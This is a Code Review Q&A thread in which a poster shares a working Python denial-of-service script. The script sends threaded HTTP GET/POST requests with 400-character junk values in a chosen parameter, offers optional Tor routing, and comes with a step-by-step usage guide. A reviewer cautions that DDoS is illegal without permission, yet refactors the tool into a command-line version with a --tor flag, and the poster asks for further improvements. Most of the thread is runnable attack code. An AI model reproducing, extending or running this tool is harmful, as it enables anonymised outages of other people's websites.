1
\$\begingroup\$

What is it used for?

This is a different script from any python script which performs DoS attacks. It's designed to practice parameters fuzzing in the requests (it's requested which parameter you have to fuzz - and after choosed, requests will be made with the selected parameter combined with a 400 random characters string) so we will expect the server will be slower to elaborate the requests.

This is not a recent code, and neither it's full-tested.

import sys
import socket, urllib
from urllib.parse import urlparse
from threading import Thread
from time import sleep
import socks
import string, random
import re

def send_requests(mapped_requests, map_count):
    while True:
        for i in range(len(mapped_requests)):
            spot = mapped_requests[i]
            junk = ''.join(random.choices(string.ascii_uppercase, k = 400))
            (spot[2])[spot[4]] = junk # fuzzes the replacement spot

            headers = (
                         "%s {} HTTP/1.1\r\n"
                         "Host: {}\r\n"
                         "Connection: close\r\n"
                         "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0\r\n"
                         "Accept-Encoding: gzip\r\n"
                         "Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7\r\n"
                         "Cache-Control: no-cache\r\n{}"
                      ) % spot[0].upper()

            parsed_url = spot[5]

            url_path = '/' if parsed_url.path == '' else parsed_url.path
            url_params = spot[3]

            if spot[0] == "get":
                path_and_params = "{}?{}".format(url_path, url_params)

                headers = headers.format(path_and_params,
                                         parsed_url.netloc,
                                         '\r\n')
            else:
                terminal_header = (
                                   "Content-Type: application/x-www-form-urlencoded\r\n"
                                   "Content-Length: {}\r\n"
                                   "{}\r\n\r\n"
                                   ).format(len(url_params), url_params)

                headers = headers.format(url_path,
                                         parsed_url.netloc,
                                         terminal_header)

            #print(headers)

            s = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)

            try:
                s.connect((parsed_url.netloc, 80))
                s.sendall(headers.encode("utf-8"))
            except socket.error:
                sleep(1)
            finally:
                s.close()

            print("Mapped request at index {} has been sent.".format(i))


def create_threads(threads, mapped_requests, map_count):
    for t in range(0, threads):
        thread = Thread(target = send_requests, args = ( mapped_requests, map_count, ))
        thread.start()

def target_is_ok(host):
    try:
        socket.gethostbyname(host)
    except socket.gaierror:
        return False
    else:
        return True

def query_yes_no(question, default = "yes"):

    """

    Ask a yes/no question via input() and return their answer.

    "question" is a string that is presented to the user.
    "default" is the presumed answer if the user just hits <Enter>.
        It must be "yes" (the default), "no" or None (meaning
        an answer is required of the user).

    The "answer" return value is True for "yes" or False for "no".

    """

    valid = { "yes": True, "y": True, "ye": True,
              "no": False, "n": False }

    if default is None:
        prompt = " [y/n] "
    elif default == "yes":
        prompt = " [Y/n] "
    elif default == "no":
        prompt = " [y/N] "
    else:
        raise ValueError("invalid default answer: '%s'" % default)

    while True:
        sys.stdout.write(question + prompt)
        choice = input().lower()
        if default is not None and choice == '':
            return valid[default]
        elif choice in valid:
            return valid[choice]
        else:
            sys.stdout.write("please respond with 'yes' or 'no' "
                             "(or 'y' or 'n').\n")

if __name__ == "__main__":
    print("\nCVE-2014-9912 and alike vulnerabilities exploitation sample" + "\n\n")

    if query_yes_no("Do you want to bind a persistent Tor session?"):
        socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050, True)

    s = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("api.ipify.org" , 80))
    s.sendall(b"GET / HTTP/1.1\r\nHost: api.ipify.org\r\n\r\n")
    print("Your IP address is", ((s.recv(4096)).decode('utf-8')).rsplit("\r\n\r\n")[1])
    s.close()

    sys.stdout.write("\nTarget: ")

    if not target_is_ok(re.sub('^https?://', '', input())):
        sys.exit("\nTarget is down.\n")

    print("\nTarget is up.")

    print("You need to map at least one request to the scheme of the attack.\n")

    map_count = 0
    mapped_requests = []

    while (query_yes_no("\nMap request to the attack scheme?")):
        valid_method = valid_url = valid_param = False

        while not valid_method and not valid_url:
            sys.stdout.write("Select HTTP request method (GET/POST): ")
            method = input().lower()

            if method in [ 'get', 'post' ]:

                valid_method = True
                sys.stdout.write("URL: ")
                url = input()
                if not url.startswith(( "http://", "https://" )):
                    url = "http://" + url

                parsed_url = urlparse(url)

                if (parsed_url.netloc):
                    valid_url = True

                    if method == "post":
                        sys.stdout.write("Put the post data: ")
                        post_data = input()
                        unparsed_params = post_data
                    else:
                        unparsed_params = parsed_url.query

                    parsed_params = urllib.parse.parse_qs(unparsed_params)

                    print("Parsed parameters:", parsed_params)

                    sys.stdout.write("Select the parameter to fuzz: ")
                    parameter = input()

                    try:
                        if (parsed_params[parameter]):
                            print("Parameter found.")

                            mapped_requests.append([ method,
                                                     url,
                                                     parsed_params,
                                                     unparsed_params,
                                                     parameter,
                                                     parsed_url ])

                            print("Request mapped in index {}.".format(map_count))

                            map_count += 1
                    except KeyError:
                        print("Could not map the request because an invalid parameter was entered.")
                else:
                    print("Could not map the request because an invalid URL was entered.")
            else:
                 print("Could not map the request because an invalid method was entered.")

    if map_count < 1:
        sys.exit("Could not adjust the attack: at least one mapped HTTP request is needed.")

    print("\nA total of {} HTTP requests to repeatedly emulate has been mapped to the attack scheme.\n".format(map_count))

    valid_threads = False
    while not valid_threads:
        sys.stdout.write("\nEnter a number of threads (eg. 1000): ")
        threads = input()

        if threads.isdigit():
            threads = int(threads)
            valid_threads = True

    print("Starting the mapped attack.\n")

    create_threads(threads, mapped_requests, map_count)

It's required to install pysocks library. The script is made to be more elastic and to perform an efficient attack.

Usage

We will test it on our own website, obviously. So admit we have a website who gets GET or POST requests, with these two hosted PHP files:

<?php

// demo.php

$str = $_GET['str'];
$foo = $_GET['foo'];

die('str: ' . $str . ' @ ' .
    'foo: ' . $foo);

?>

and

<?php

// demo_post.php

$str = $_POST['str'];
$foo = $_POST['foo'];

die('str: ' . $str . ' @ ' .
    'foo: ' . $foo);

?>

We have something to attack - let's run the script.

~ $ python cwe119.py

We will get asked if we want to bind requests to Tor by default. Not in my case, since I'm testing my own website and I don't need to. It will gets printed then our IP to let you see if you are connected to Tor network or not.

Put the target, and we will do so without putting the www. (eg. http://example.org): the script will print either the website is working or not. In the first case, we will get asked to map at least a request to send in loop to attack the website.

Then we select the method of the request we have to map to the attack, GET or POST. Let's take example with GET (demo.php).

So we will paste the URL of the request (http://example.org/demo.php?str=hi&foo=bar) and the script will detect the parameters, parse and print them.

After that, we have to choose choose the parameter to fuzz (str or foo), so if we choose for example str the script will continiously replace the value hi with a random capitalized string composed of 400 characters.

If the mapping was correctly compiled, the script will say that it's been added to the list of the attack scheme:

Request mapped in index 0.

We can continue to map as many requests as we want to (index 1, index 2, index 3 and so on). When you finished, we will say to not map any more request to the attack scheme and then we will write the number of the threads to start.

The similar procedure is for POST requests, it's needed to be at least a bit familiar with HTTP requests.

About Improvements and Other

It's very appreciated if someone has any suggestion or feature to propose for the project/script.

\$\endgroup\$
2
\$\begingroup\$

I know you know this but, DDoS is a serious offence in most countries

Without permission NEVER use it on other people's websites, since this can result in you going to jail.

  • "%s" % ("something") is deprecated, use string.format
  • Or since you are using , why not make use of the fancy f"string"

  • Replace nested conditional with Guard Clauses

  • A lot of space in your script is devoted to parsing arguments of the user

    I would have approached this using argparse

    So instead of writing in the CLI with a yes/no question you could call the script like this ->

    cew119.py http://example.com?cmd=x --param cmd --method GET --threads 2

    This will not only make it easier to call the script, but reduces the space used in the script greatly.


def send_requests(*args):
    print(args)

def create_threads(threads, arguments):
    for t in range(0, threads):
        thread = Thread(target=send_requests, args=(arguments))
        thread.start()

def target_is_ok(host):
    try:
        socket.gethostbyname(host)
    except socket.gaierror:
        return False
    else:
        return True

def parse_arguments():
    """Arguments parser."""
    parser = argparse.ArgumentParser(usage='%(prog)s [options] <target>',
                                     description='DoS',
                                     formatter_class=argparse.RawDescriptionHelpFormatter,
                                     epilog="""Example: cew119.py http://example.com?cmd=x --param cmd --method GET --threads 2""")
    parser.add_argument('-m', '--method', type=str, default="GET", help='HTTP Method')
    parser.add_argument('-p', '--parameter', type=str, help='The parameters  Example: {param1,param2}')
    parser.add_argument('-t', '--threads', type=int, default=1, help='Number of threads')
    parser.add_argument('--tor', action="store_true", help='Route via TOR network')
    parser.add_argument('target', type=str, help='URL of the target')
    args = parser.parse_args()

    parsed_url = parsed_url = urlparse(args.target)
    if not target_is_ok(parsed_url.netloc):
        parser.error('[!] Host is down')
    if not parsed_url.scheme:
        parser.error("[!] Specify http:// or https://")
    if not args.method in ['GET' ,  'POST']:
        parser.error('[!] Incorrect HTTP method supplied, only GET and POST are allowed')
    if args.parameter:
        parsed_parameters = urllib.parse.parse_qs(parsed_url.query)
        if not args.parameter in parsed_parameters:
            parser.error(f"[!] Parameter {args.parameter} not found in {parsed_parameters}")

    mapped_request = [args.target, args.method, args.parameter, parsed_parameters, parsed_url]
    return args.threads, mapped_request

if __name__ == "__main__":
    threads, mapped_requests = parse_arguments()
    create_threads(threads, mapped_requests)

Notes

This is not complete...

  • It is missing some functionality like mapping multiple requests, but due to it being run from the CLI with parsing arguments, creating a new map is easy as you'd only need to tweak a few parameters
  • I might be completing this answer soon, but I hope you get the idea, and can tweak the script yourself some more.
| improve this answer | |
\$\endgroup\$
  • \$\begingroup\$ Hi, thanks for the suggestions, could you make a complete code show-up with your fixes so I can relate better? Also, if you have even more concrete suggestions to really shorten the code or make it more pythonic, you will get my approve. \$\endgroup\$ – Leon Jun 26 '18 at 18:13
  • \$\begingroup\$ @Leon I've edited my answer a bit, now the parts which IMO took the most space are rewritten \$\endgroup\$ – Ludisposed Jun 27 '18 at 15:04
  • \$\begingroup\$ I will approve your answer when you'll fix that missing functionality (mapping multiple requests). It's not that shortening the code is always worth it, otherwise I would already have done it - unfurtunately it's not very easy for the user to make the whole command since it may get confusing for many mapped requests. Regarding POST requests, what did you not understand? Thank you very much for your help though, you are a good friend! :) \$\endgroup\$ – Leon Jun 27 '18 at 18:41
  • \$\begingroup\$ unfortunately I didn't make it support XML/JSON format POST Data (I didn't actually test if it works right now with them). If it doesn't work, I will probably in the next versions. Did you get any other idea to improve something in my code? \$\endgroup\$ – Leon Jun 28 '18 at 23:19

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.